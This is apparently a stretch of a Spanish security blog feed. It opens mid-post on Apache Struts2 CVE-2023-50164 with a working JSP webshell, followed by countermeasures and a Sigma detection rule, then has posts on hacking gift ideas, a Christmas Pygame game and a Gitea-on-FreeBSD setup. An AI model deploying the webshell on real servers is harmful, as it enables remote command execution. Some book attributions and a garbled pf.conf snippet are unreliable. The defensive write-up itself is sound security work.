<p></p><p>Luego ya con permisos de escritura los vectores son los de siempre. Por ejemplo, añadir claves SSH al usuario o subir archivos .war o .jsp. Por ejemplo, una webshell en jsp típica:</p><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><%@ page import="java.util.*,java.io.*"%><br /><%<br />%><br /><HTML><BODY><br />PoC Webshell en JSP<br /><FORM METHOD="GET" NAME="myform" ACTION=""><br /><INPUT TYPE="text" NAME="cmd"><br /><INPUT TYPE="submit" VALUE="Send"><br /></FORM><br /><pre><br /><%<br />if (request.getParameter("cmd") != null) {<br /> out.println("Command: " + request.getParameter("cmd") + "<BR>");<br /> Process p;<br /> if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){<br /> p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));<br /> }<br /> else{<br /> p = Runtime.getRuntime().exec(request.getParameter("cmd"));<br /> }<br /> OutputStream os = p.getOutputStream();<br /> InputStream in = p.getInputStream();<br /> DataInputStream dis = new DataInputStream(in);<br /> String disr = dis.readLine();<br /> while ( disr != null ) {<br /> out.println(disr);<br /> disr = dis.readLine();<br /> }<br />}<br />%><br /></pre><br /></BODY></HTML><code></code></pre><p><b>Contramedidas</b></p><ul style="text-align: left;"><li class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Parches: la vulnerabilidad se ha solucionado en las versiones 2.5.33 o 6.3.0.2 o superiores.</span></span><span class="jCAhz"><span class="ryNqvb">
</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></li><li class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Eliminar el uso de clases vulnerables: para sistemas donde no es necesario utilizar ActionSupport, reemplaza cualquier instancia de esta clase por otra que no sea vulnerable.</span></span><span class="jCAhz"><span class="ryNqvb">
</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></li><li class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Medidas de refuerzo: elimina el acceso innecesario al servidor de aplicaciones (como el acceso de escritura a directorios confidenciales), ya que esto significa que un atacante no podría aprovechar acciones como colocar una webshell a donde pueda acceder a la misma.</span></span></span></li><li class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Firewalls de aplicaciones web (WAF): comúnmente tienen reglas predeterminadas para detectar intentos de explotación de path traversal.</span></span></span></li></ul><div class="OvtS8d"></div><div __is_owner="true" id="ow311"></div><div class="kO6q6e"></div><div class="kO6q6e"><b>Detección</b></div><div class="kO6q6e"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Como la subida del archivo es una solicitud POST modificada, es poco probable que los logs web estándar ayuden a detectar signos de explotación.</span></span> <span class="jCAhz ChMk0b"><span class="ryNqvb">Si tu aplicación web registra datos POST, existen algunos indicadores fijos que puede utilizar para generar reglas de detección.</span></span><span class="jCAhz"><span class="ryNqvb">
</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb">A continuación se muestra un ejemplo de regla Sigma:</span></span></span></div><div class="kO6q6e"><div class="lRu31"><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;">title: CVE-2023-50164 Potential Webshell Exploitation Attempt - ApacheStruts2<br />id: 5a7aa665-f924-4e78-a937-92117e6f1605<br />status: experimental<br />description: Detects potential exploitation attempt of CVE-2023-50164 against ApacheStruts2<br />references:<br /> - https://nvd.nist.gov/vuln/detail/CVE-2023-50164<br /> - https://attackerkb.com/topics/G9urDj4Cg2/CVE-2023-50164<br /> - https://xz.aliyun.com/t/13172<br />author: Brett Calderbank<br />date: 2023/12/15<br />tags:<br /> - detection.emerging_threats<br /> - attack.initial_access<br /> - cve.2023.50164<br />logsource:<br /> category: webserver<br />detection:<br /> selection-web:<br /> cs-method: 'POST'<br /> cs-uri|contains: 'upload.action'<br /> cs-content|contains: <br /> - '<jsp>'<br /> - '--WebKitFormBoundary'<br /> sc-status: 200<br /> filter:<br /> cs-content|contains: 'name="Upload"; filename="*.jsp"' <br /> condition: selection AND NOT filter<br />falsepositives:<br /> - Vulnerability scanners<br /> - Genuine use of the upload function<br />level: medium<code></code></pre><b></b><span class="ZSCsVd"></span></div><div class="OvtS8d"></div><div __is_owner="true" id="ow362"></div><b>Referencias</b></div><ul style="text-align: left;"><li class="kO6q6e"><b>NIST:</b> <a class="_6ooml50 _6ooml54 _6ooml5d" href="https://nvd.nist.gov/vuln/detail/CVE-2023-50164" rel="noopener noreferrer" target="_blank"> <span data-qaid="link-prevent-widow">https://nvd.nist.gov/vuln/detail/CVE-2023-50164<svg aria-hidden="false" class="_6ooml51" data-icon="external-link-alt" data-prefix="fas" data-qaid="icon-externalLink" fill="currentColor" height="1em" stroke="currentColor" viewbox="0 0 512 512" width="1em" xmlns="http://www.w3.org/2000/svg"></svg></span></a></li><li><b>MITRE:</b> <a class="_6ooml50 _6ooml54 _6ooml5d" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50164" rel="noopener noreferrer" target="_blank"> <span data-qaid="link-prevent-widow">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50164</span></a></li><li><b>AttackerKB:</b> <a class="_6ooml50 _6ooml54 _6ooml5d" href="https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164?referrer=home" rel="noopener noreferrer" target="_blank"> <span data-qaid="link-prevent-widow">https://attackerkb.com/topics/G9urDj4Cg2/CVE-2023-50164</span></a> <br /></li></ul>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-76440872426277227072023-12-30T12:55:00.001+01:002023-12-30T12:55:20.434+01:00Ideas para que los Reyes Magos regalen a nuestros pequeños "hackers"<p data-sourcepos="20:1-20:344"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6loeChKL7o8K5oKYIaeWxj9saz1LR1OWLPdM6jE0KEUnzuUmGUBLLAxji4L1kJZVCgXoEKkEv0sRlWfd4k8eCkc34Fa1ahMEEo-j0VoqSHnSLB1rhu7Iv3Kp8nlt-MumsQuOVx1Y11aYj9RwRFvlcbKgbCGbWUd2YsFMzeIjG40nn9BsbQe9cKZjFRMS2/s992/regalo_ni%C3%B1o.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="992" data-original-width="946" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6loeChKL7o8K5oKYIaeWxj9saz1LR1OWLPdM6jE0KEUnzuUmGUBLLAxji4L1kJZVCgXoEKkEv0sRlWfd4k8eCkc34Fa1ahMEEo-j0VoqSHnSLB1rhu7Iv3Kp8nlt-MumsQuOVx1Y11aYj9RwRFvlcbKgbCGbWUd2YsFMzeIjG40nn9BsbQe9cKZjFRMS2/s320/regalo_ni%C3%B1o.png" width="305" /></a></div>¿Habéis considerado pedir a vuestros hijos (los que tengáis) un regalo que incentive su curiosidad por el mundo del hacking y/o la programación? Quizás sería la herramienta perfecta para alimentar sus ganas de aprender y empezar a hacer "cantera" de pequeños hackers.<br /><p></p><p data-sourcepos="20:1-20:344">Tened en cuenta que es importante considerar su nivel de
experiencia y los intereses del niño/a. Si es principiante, es mejor elegir
un regalo que sea sencillo y fácil de entender. Si tiene más
experiencia, puedes elegir un regalo más avanzado que le permita explorar
conceptos más complejos. Pero siempre, que sea divertido a la vez que educativo.<br /></p><p>Aquí os dejo una lista de recomendaciones. Aviso que no tengo ningún interés comercial o publicitario así que no incluiré ningún link externo, estoy seguro que si a alguno le interesa lo buscará por él mismo. </p><p>"<i>Queridos Melchor, Gaspar y Baltasar, por favor tened en cuenta</i>":<br /></p><ul data-sourcepos="3:1-19:0" style="text-align: left;"><li data-sourcepos="3:1-6:95"><strong>Libros y recursos educativos:</strong> Hay muchos libros y recursos educativos disponibles para niños que
aprenden a hackear y programar. Estos recursos pueden ayudar a los niños
a aprender los fundamentos de la programación, así como conceptos más
avanzados, como la seguridad informática y la ética del hacking. Algunos
ejemplos de libros y recursos educativos incluyen:<ul><li><strong>"A hackear el mundo" de Cristian Priora</strong></li></ul><ul data-sourcepos="4:5-6:95"><li data-sourcepos="5:5-5:64"><strong>"Hacking for Dummies" de David Coursey y Kevin Mitnick</strong></li><li data-sourcepos="6:5-6:95"><strong>"The Complete Python Course: Learn Python Programming for Beginners" de Jose Portilla</strong></li><li data-sourcepos="6:5-6:95"><strong>"El libro de Python para niños" de Al Sweigart</strong></li><li data-sourcepos="6:5-6:95"><strong>"Hacking ético para niños" de Daniel Miessler<br /></strong></li></ul><strong> </strong><br />
</li><li data-sourcepos="7:1-10:24"><strong>Kits de robótica y electrónica:</strong>
Los kits de robótica y electrónica son una excelente manera para que
los niños experimenten con la programación y la construcción de
dispositivos. Estos kits pueden ayudar a los niños a aprender conceptos
básicos de electrónica, como el funcionamiento de los circuitos y los
sensores. Algunos ejemplos de kits de robótica y electrónica incluyen:
<ul data-sourcepos="8:5-10:24"><li data-sourcepos="8:5-8:25"><strong>LEGO Mindstorms</strong></li><li data-sourcepos="9:5-9:27"><strong>Snap Circuits Jr.</strong></li><li data-sourcepos="10:5-10:24"><strong>Makeblock mBot</strong></li><li data-sourcepos="10:5-10:24"><strong>CreaTribe STEAM Lab</strong><br /></li></ul><br />
</li><li data-sourcepos="11:1-14:20"><strong>Suscripciones a plataformas de aprendizaje:</strong>
Hay muchas plataformas de aprendizaje disponibles que ofrecen cursos y
tutoriales sobre hacking y programación. Estas plataformas pueden ayudar
a los niños a aprender a su propio ritmo y a su propio nivel. Algunos
ejemplos de plataformas de aprendizaje incluyen:
<ul data-sourcepos="12:5-14:20"><li data-sourcepos="12:5-12:15"><strong>Udemy</strong></li><li data-sourcepos="13:5-13:18"><strong>Coursera</strong></li><li data-sourcepos="14:5-14:20"><strong>Codecademy</strong><strong> </strong><br /></li></ul><br />
</li><li data-sourcepos="15:1-19:0"><strong>Hardware de desarrollo:</strong>
El hardware de desarrollo es una herramienta esencial para los
programadores. Este hardware puede ayudar a los niños a crear sus
propios proyectos y aplicaciones. Algunos ejemplos de hardware de
desarrollo incluyen:
<ul data-sourcepos="16:5-19:0"><li data-sourcepos="16:5-16:40"><strong>Computadora portátil o tableta</strong></li><li data-sourcepos="17:5-17:31"><strong>Consola de desarrollo</strong></li><li data-sourcepos="18:5-19:0"><strong>Módulo Arduino</strong></li></ul>
</li></ul>Por supuesto, si tenéis cualquier otro consejo o recomendación es más que
bienvenido, todo porque la carta llegue a tiempo al Lejano Oriente.. ;) Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-81190249053489833672023-12-25T16:47:00.028+01:002023-12-25T17:26:41.936+01:00¡Feliz Navidad!<p>pip install pygame and enjoy little elf!! <br /></p><p></p><pre class="prettyprint" style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"><code>import pygame<br />import sys<br />import random<br /><br />class Snowflake:<br /> def __init__(self):<br /> self.x = random.randint(0, width)<br /> self.y = random.randint(0, height)<br /> self.size = random.randint(1, 3)<br /> self.speed = random.randint(1, 3)<br /><br /> def update(self):<br /> self.y += self.speed<br /> if self.y > height:<br /> self.y = 0<br /> self.x = random.randint(0, width)<br /><br /># Clase para representar el láser<br />class Laser:<br /> def __init__(self, x, y):<br /> self.rect = pygame.Rect(x, y, 4, 10)<br /> self.speed = 10<br /><br /># Inicializar Pygame<br />pygame.init()<br /><br /># Configuraciones generales<br />width, height = 800, 600<br />paddle_width, paddle_height = 100, 10<br />snowball_radius = 12<br />brick_width, brick_height = 40, 30<br />brick_padding = 5<br /><br /># Configuraciones para el ladrillo de diamante y láser<br />diamond_brick_width, diamond_brick_height = 40, 30<br />diamond_brick_color = (128, 128, 128) # Gris para el ladrillo de diamante<br />max_lasers = 0 # Número máximo de láseres disponibles al inicio<br /><br /># Colores<br />white = (255, 255, 255)<br />black = (0, 0, 0)<br />red = (255, 0, 0)<br />green = (0, 255, 0)<br />blue = (0, 0, 255)<br />yellow = (255, 255, 0)<br /><br /># Inicializar la pantalla<br />screen = pygame.display.set_mode((width, height))<br />pygame.display.set_caption("Christmas Arkanoid")<br /><br /># Inicializar la paleta y la bola de nieve<br />paddle = pygame.Rect((width - paddle_width) // 2, height - paddle_height - 10, paddle_width, paddle_height)<br />snowball = pygame.Rect(width // 2, height // 2, snowball_radius * 2, snowball_radius * 2)<br />snowball_speed = [4, 4] # Velocidad inicial de la bola<br /><br /># Inicializar los ladrillos de colores en forma de árbol y el ladrillo de diamante<br />bricks = []<br />tree_height = 5<br />diamond_brick_created = False # Bandera para asegurarse de que solo hay un ladrillo de diamante<br /><br />for i in range(tree_height):<br /> for j in range(i + 1):<br /> brick_x = (j - i // 2) * (brick_width + brick_padding) + width // 2<br /> brick_y = i * (brick_height + brick_padding)<br /> bricks.append({"rect": pygame.Rect(brick_x, brick_y, brick_width, brick_height),<br /> "color": random.choice([red, green, blue, yellow]),<br /> "flashing": False, "falling": False})<br /><br /> # Agregar un ladrillo de diamante en el centro de la pantalla<br /> if not diamond_brick_created and i == tree_height // 2 and j == tree_height // 2:<br /> bricks[-1]["rect"] = pygame.Rect(brick_x, brick_y, diamond_brick_width, diamond_brick_height)<br /> bricks[-1]["color"] = diamond_brick_color<br /> diamond_brick_created = True<br /><br /># Velocidades de movimiento<br />paddle_speed = 7 # Ajustar la velocidad de la paleta<br />base_snowball_speed = [3, 3] # Ajustar la velocidad base de la bola<br />snowball_speed_increment = 0.4 # Incremento de velocidad por cada ladrillo roto<br /><br /># Fuente y texto<br />font = pygame.font.Font(None, 36)<br />score_font = pygame.font.Font(None, 24)<br />message_font = pygame.font.Font(None, 48)<br /><br /># Puntuación<br />score = 0<br /><br /># Lista de regalos<br />gifts = []<br /><br /># Regalo<br />gift_width, gift_height = 15, 15<br />gift_speed = 7<br />gift = None<br /><br /># Velocidad de caída del ladrillo<br />brick_fall_speed = 2<br /><br /># Mensaje de juego terminado<br />game_over_message = None<br /><br /># Efecto de nieve<br />snowflakes = [Snowflake() for _ in range(100)]<br /><br /># Lista de láseres<br />lasers = []<br /><br /># Número de láseres disponibles<br />lasers_available = max_lasers<br /><br /># Bucle principal del juego<br />waiting_for_space = True<br />game_running = True<br /><br />while game_running:<br /> for event in pygame.event.get():<br /> if event.type == pygame.QUIT:<br /> game_running = False<br /> elif event.type == pygame.KEYDOWN:<br /> if event.key == pygame.K_SPACE and waiting_for_space:<br /> waiting_for_space = False<br /> snowball_speed = [4, 4] # Ajustar la velocidad de la bola al juego<br /> elif event.key == pygame.K_SPACE and lasers_available > 0:<br /> lasers.append(Laser(paddle.centerx - 2, paddle.top))<br /> lasers_available -= 1<br /><br /> if waiting_for_space:<br /> screen.fill(black)<br /> screen.blit(font.render("Ho ho ho! Pulsa tecla espacio para comenzar", True, white), (150, height // 2 - 20))<br /> pygame.display.flip()<br /> continue<br /><br /> # Mover la paleta con las teclas de flecha<br /> keys = pygame.key.get_pressed()<br /> if keys[pygame.K_LEFT] and paddle.left > 0:<br /> paddle.x -= paddle_speed<br /> if keys[pygame.K_RIGHT] and paddle.right < width:<br /> paddle.x += paddle_speed<br /><br /> # Mover la bola de nieve<br /> snowball.x += snowball_speed[0]<br /> snowball.y += snowball_speed[1]<br /><br /> # Rebote en los bordes<br /> if snowball.left <= 0 or snowball.right >= width:<br /> snowball_speed[0] = -snowball_speed[0]<br /> if snowball.top <= 0:<br /> snowball_speed[1] = -snowball_speed[1]<br /><br /> # Rebote en la paleta<br /> if snowball.colliderect(paddle):<br /> snowball_speed[1] = -snowball_speed[1]<br /><br /> # Colisión con los ladrillos<br /> for brick_info in bricks:<br /> brick = brick_info["rect"]<br /> if snowball.colliderect(brick):<br /> brick_info["flashing"] = True<br /> if brick_info["color"] == yellow:<br /> # Dibujar un regalo con un lazo rojo<br /> pygame.draw.rect(screen, red, brick_info["rect"])<br /> pygame.draw.line(screen, red, brick_info["rect"].topleft, brick_info["rect"].bottomright, 2)<br /> pygame.draw.line(screen, red, brick_info["rect"].topright, brick_info["rect"].bottomleft, 2)<br /><br /> gifts.append({"rect": brick, "speed": gift_speed}) # Añadir un regalo por cada ladrillo amarillo<br /> brick_info["falling"] = True # Marcar el ladrillo como que está cayendo<br /> elif brick_info["color"] == diamond_brick_color: # Ladrillo de diamante (gris)<br /> # Incrementar el número de láseres disponibles al golpear el ladrillo gris (diamante)<br /> lasers_available += 2<br /> else:<br /> snowball_speed[1] += snowball_speed_increment<br /> score += 5<br /> snowball_speed[0] = -snowball_speed[0]<br /><br /> # Eliminar los ladrillos que están marcados como "flashing"<br /> bricks = [brick for brick in bricks if not brick["flashing"]]<br /><br /> # Mover los ladrillos que están cayendo<br /> for brick_info in bricks:<br /> if brick_info["falling"]:<br /> brick_info["rect"].y += brick_fall_speed<br /><br /> # Mover los regalos que están cayendo<br /> for gift_info in gifts:<br /> gift_info["rect"].y += gift_info["speed"]<br /><br /> # Verificar si el regalo colisiona con la paleta<br /> if gift_info["rect"].colliderect(paddle):<br /> score += 10<br /> gifts.remove(gift_info) # Eliminar el regalo después de sumar puntos<br /><br /> # Verificar si el regalo ha llegado al fondo de la pantalla<br /> if gift_info["rect"].bottom > height:<br /> gifts.remove(gift_info) # Eliminar el regalo si llega al fondo sin ser recogido<br /><br /> # Mover los láseres y verificar colisiones con ladrillos<br /> for laser in lasers:<br /> laser.rect.y -= laser.speed<br /><br /> # Verificar colisión con ladrillos<br /> for brick_info in bricks:<br /> if laser.rect.colliderect(brick_info["rect"]):<br /> bricks.remove(brick_info)<br /> lasers.remove(laser)<br /> score += 10<br /><br /> # Verificar colisión con el ladrillo de diamante<br /> if brick_info["color"] == diamond_brick_color and laser.rect.colliderect(brick_info["rect"]):<br /> lasers.remove(laser)<br /> score += 20<br /><br /> # Verificar si el láser ha llegado al borde superior<br /> if laser.rect.bottom < 0:<br /> lasers.remove(laser)<br /><br /> # Limpiar la pantalla<br /> screen.fill(black)<br /><br /> # Dibujar los copos de nieve<br /> for snowflake in snowflakes:<br /> snowflake.update()<br /> pygame.draw.circle(screen, white, (snowflake.x, snowflake.y), snowflake.size)<br /><br /> # Dibujar la paleta y la bola de nieve<br /> pygame.draw.rect(screen, white, paddle)<br /> pygame.draw.circle(screen, white, snowball.center, snowball_radius)<br /><br /> # Dibujar los regalos si existen<br /> for gift_info in gifts:<br /> pygame.draw.rect(screen, red, gift_info["rect"])<br /> pygame.draw.line(screen, red, gift_info["rect"].topleft, gift_info["rect"].bottomright, 2)<br /> pygame.draw.line(screen, red, gift_info["rect"].topright, gift_info["rect"].bottomleft, 2)<br /><br /> # Dibujar los láseres<br /> for laser in lasers:<br /> pygame.draw.rect(screen, green, laser.rect)<br /><br /> # Dibujar los ladrillos de colores restantes y manejar el parpadeo<br /> for brick_info in bricks:<br /> brick = brick_info["rect"]<br /> color = brick_info["color"]<br /><br /> if brick_info["flashing"]:<br /> pygame.draw.rect(screen, black, brick)<br /> brick_info["flashing"] = False<br /> else:<br /> pygame.draw.rect(screen, color, brick)<br /><br /> # Dibujar el contador de láseres disponibles<br /> laser_text = score_font.render(f"Láseres: {lasers_available}", True, white)<br /> laser_rect = laser_text.get_rect(topleft=(10, 10))<br /> screen.blit(laser_text, laser_rect)<br /><br /> # Dibujar la puntuación en la parte superior derecha<br /> score_text = score_font.render(f"Puntuación: {score}", True, white)<br /> score_rect = score_text.get_rect(topleft=(width - 150, 10))<br /> screen.blit(score_text, score_rect)<br /><br /> # Verificar si la bola ha pasado la paleta<br /> if snowball.top > height:<br /> game_over_message = "Game over naughty child!"<br /><br /> # Verificar si todos los ladrillos han sido eliminados<br /> if not bricks:<br /> game_over_message = "Congratz & Merry X-Mas from Hackplayers"<br /><br /> # Mostrar el mensaje de juego terminado si es necesario<br /> if game_over_message:<br /> message_surface = message_font.render(game_over_message, True, white)<br /> message_rect = message_surface.get_rect(center=(width // 2, height // 2))<br /> screen.blit(message_surface, message_rect)<br /> pygame.display.flip()<br /> pygame.time.delay(3000) # Mostrar el mensaje durante 3 segundos antes de salir<br /> game_running = False<br /><br /> # Actualizar la pantalla<br /> pygame.display.flip()<br /><br /> # Controlar la velocidad del bucle<br /> pygame.time.Clock().tick(60)<br /><br /># Finalizar Pygame<br />pygame.quit()<br />sys.exit()<br /></code></pre><p></p><p>Ho ho ho!
<a href="https://www.hackplayers.com/2013/12/feliz-navidad.html" target="_blank">2013</a>
<a href="https://www.hackplayers.com/2014/12/feliz-navidad.html" target="_blank">2014</a>
<a href="https://www.hackplayers.com/2015/12/feliz-navidad.html" target="_blank">2015</a>
<a href="https://www.hackplayers.com/2016/12/feliz-navidad.html" target="_blank">2016</a>
<a href="https://www.hackplayers.com/2017/12/feliz-navidad.html" target="_blank">2017</a>
<a href="https://www.hackplayers.com/2018/12/feliz-navidad.html" target="_blank">2018</a>
<a href="https://www.hackplayers.com/2019/12/feliz-navidad.html" target="_blank">2019</a>
<a href="https://www.hackplayers.com/2020/12/feliz-navidad.html" target="_blank">2020</a>
<a href="https://www.hackplayers.com/2021/12/feliz-navidad.html" target="_blank">2021</a> <a href="https://www.hackplayers.com/2022/12/feliz-navidad.html" target="_blank">2022</a>...</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlAqlIC53u1vvFRXL-fUD93zCbgAajWfQAxd8U3pca_ebU1NxPlIjBpE4ghzgz3fwQyfq0zKUm9nODKzZlry65hGJlLaLZWg6oG60mjeaflig_EafXYrzs1j2VtFx6iGt-Q-8Rou-yU6ae/s406/santa2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="135" data-original-width="406" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlAqlIC53u1vvFRXL-fUD93zCbgAajWfQAxd8U3pca_ebU1NxPlIjBpE4ghzgz3fwQyfq0zKUm9nODKzZlry65hGJlLaLZWg6oG60mjeaflig_EafXYrzs1j2VtFx6iGt-Q-8Rou-yU6ae/s320/santa2.png" width="320" /></a></div>
<span class="byline post-labels">
<span class="byline-label">
</span>
<a href="https://www.hackplayers.com/search/label/perl" rel="tag"></a></span>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-82920787343839969782023-12-24T09:08:00.034+01:002023-12-25T17:28:07.615+01:00 Cómo Instalar Gitea en FreeBSD usando AppJail Director<div><p><span class="bbc_size">Manejar nuestros
proyectos de desarrollo es muy fácil actualmente, hay demasiados
servicios para escoger, con menos o con más características, pero hay
uno en particular, de código abierto, auto-hospedable, con muchísimas
características, y la mejor parte, que se puede instalar en FreeBSD. Ese
genial proyecto es Gitea, un software para hospedar nuestros proyectos
usando git, que además cuenta con funciones colaborativas como rastreo
de incidentes, revisión de código, integración continua, tickets y
wikis.</span></p><p><span class="bbc_size"></span></p><div class="separator" style="clear: both; text-align: center;"><span class="bbc_size"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqLk9sOwQKqb0IgeUZULcWsfk2XFzV8KEAkDmkiBGW89jiNCxYzTZnyW87QefcPC3fDBGDEorv81KAM_LtvRcdkDnCZiYCYTGIe131UpfY4gVhFypVX-aR0RDL21SYz6rSIpY9wTn-8bIukJmbYMcJifc3JEbwlgODc0KH7Vx4PMcRI0YgUsIDdIyWTYk/s1280/jail.jpeg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="669" data-original-width="1280" height="335" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqLk9sOwQKqb0IgeUZULcWsfk2XFzV8KEAkDmkiBGW89jiNCxYzTZnyW87QefcPC3fDBGDEorv81KAM_LtvRcdkDnCZiYCYTGIe131UpfY4gVhFypVX-aR0RDL21SYz6rSIpY9wTn-8bIukJmbYMcJifc3JEbwlgODc0KH7Vx4PMcRI0YgUsIDdIyWTYk/w640-h335/jail.jpeg" width="640" /></a></span></div><p></p><p><span class="bbc_size">En este artículo instalaremos <a class="bbc_link" href="https://github.com/AppJail-makejails/gitea" rel="noopener" target="_blank">Gitea</a> y <a class="bbc_link" href="https://github.com/AppJail-makejails/postgres" rel="noopener" target="_blank">PostgreSQL</a> en FreeBSD usando <a class="bbc_link" href="https://github.com/DtxdF/director" rel="noopener" target="_blank">AppJail Director</a>.</span></p><p><span class="bbc_size" style="font-size: 18pt;"><span class="bbc_color" style="color: orange;"><u>Pasos preliminares</u></span></span><br /></p><p><span class="bbc_size">En mi sistema tengo la siguiente configuración:</span></p><p><span class="bbc_size"><b>/etc/rc.conf</b> (<b>Solo lo relevante es mostrado</b>):</span></p><pre class="prettyprint language-sh" tabindex="0"><code class="language-sh"><span class="token comment"># AppJail</span>
<span class="token assign-left variable">appjail_enable</span><span class="token operator">=</span><span class="token string">"YES"</span>
<span class="token assign-left variable">appjail_dns_enable</span><span class="token operator">=</span><span class="token string">"YES"</span>
<span class="token comment"># Recomendable if tu dirección IP cambia, entonces podremos usar la siguiente dirección IP en nuestras jaulas.</span>
<span class="token assign-left variable">ifconfig_tap0_name</span><span class="token operator">=</span><span class="token string">"ajdns"</span>
<span class="token assign-left variable">ifconfig_ajdns</span><span class="token operator">=</span><span class="token string">"inet 172.0.0.1/32"</span>
<span class="token comment"># DNSMasq</span>
<span class="token assign-left variable">dnsmasq_enable</span><span class="token operator">=</span><span class="token string">"YES"</span>
<span class="token assign-left variable">dnsmasq_conf</span><span class="token operator">=</span><span class="token string">"/usr/local/share/appjail/files/dnsmasq.conf"</span>
<span class="token comment"># Habilitar net.inet.ip.forwarding.</span>
<span class="token assign-left variable">gateway_enable</span><span class="token operator">=</span><span class="token string">"YES"</span></code></pre><p><span class="bbc_size"><b>/usr/local/etc/appjail/appjail.conf</b>:</span></p><pre class="prettyprint language-sh" tabindex="0"><code class="language-sh"><span class="token assign-left variable">EXT_IF</span><span class="token operator">=</span>jext
<span class="token assign-left variable">ON_IF</span><span class="token operator">=</span>jext
<span class="token assign-left variable">FREEBSD_VERSION</span><span class="token operator">=</span><span class="token number">14.0</span>-RELEASE
<span class="token assign-left variable">FREEBSD_ARCH</span><span class="token operator">=</span>amd64
<span class="token assign-left variable">IMAGE_ARCH</span><span class="token operator">=</span>amd64
<span class="token assign-left variable">ENABLE_DEBUG</span><span class="token operator">=</span><span class="token number">0</span>
<span class="token assign-left variable">ENABLE_ZFS</span><span class="token operator">=</span><span class="token number">1</span>
<span class="token assign-left variable">SHORTEN_DOMAIN_NAMES</span><span class="token operator">=</span><span class="token number">1</span>
<span class="token assign-left variable">DEFAULT_RESOLV_CONF</span><span class="token operator">=</span>/usr/local/etc/appjail/resolv.conf</code></pre></div><div><span class="bbc_size"><b>/usr/local/etc/appjail/resolv.conf</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code>nameserver 172.0.0.1 </code></pre><a name='more'></a><span class="bbc_size"></span></div><div><span class="bbc_size"><b>/etc/pf.conf</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code>nameserver 172.0.0nat-anchor 'appjail-nat/jail/*'<br />nat-anchor "appjail-nat/network/*"<br />rdr-anchor "appjail-rdr/*".1</code></pre><span class="bbc_size"><b>Console Output</b>:</span></div><div><pre class="prettyprint language-sh" tabindex="0"><code># service appjail-dns status<br />appjail_dns is running as pid 97063.<br /># service dnsmasq status<br />dnsmasq is running as pid 98251.<br /># sysctl net.inet.ip.forwarding<br />net.inet.ip.forwarding: 1<br /># freebsd-version<br />14.0-RELEASE-p4<br /># uname -r<br />14.0-RELEASE-p4<br /># appjail version<br />3.0.0.20231220+9468250a2fb7e6f6e6f63a89eb0892e325d1cf83<br /># appjail-director --version<br />appjail-director, version 0.7.0<br /># zfs list zroot<br />NAME USED AVAIL REFER MOUNTPOINT<br />zroot 72.1G 531G 24K none<br /># ifconfig ajdns<br />ajdns: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500<br /> options=80000<LINKSTATE><br /> ether 58:9c:fc:10:8e:0c<br /> inet 172.0.0.1 netmask 0xffffffff broadcast 172.0.0.1<br /> groups: tap<br /> media: Ethernet 1000baseT <full-duplex><br /> status: no carrier<br /> nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL><br /># ifconfig jext<br />jext: flags=1008843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,LOWER_UP> metric 0 mtu 1500<br /> options=4e524bb<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,JUMBO_MTU,VLAN_HWCSUM,LRO,WOL_MAGIC,VLAN_HWFILTER,VLAN_HWTSO,RXCSUM_IPV6,TXCSUM_IPV6,HWSTATS,MEXTPG><br /> ether 00:1b:24:e0:6d:a3<br /> inet 192.168.1.105 netmask 0xffffff00 broadcast 192.168.1.255<br /> media: Ethernet autoselect (100baseTX <full-duplex>)<br /> status: active<br /> nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL></code></pre><span class="bbc_size">Estoy usando la versión de desarrollo de AppJail, por lo que estar atentos a la versión y al <i>commit hash</i> del que estén usando.<br 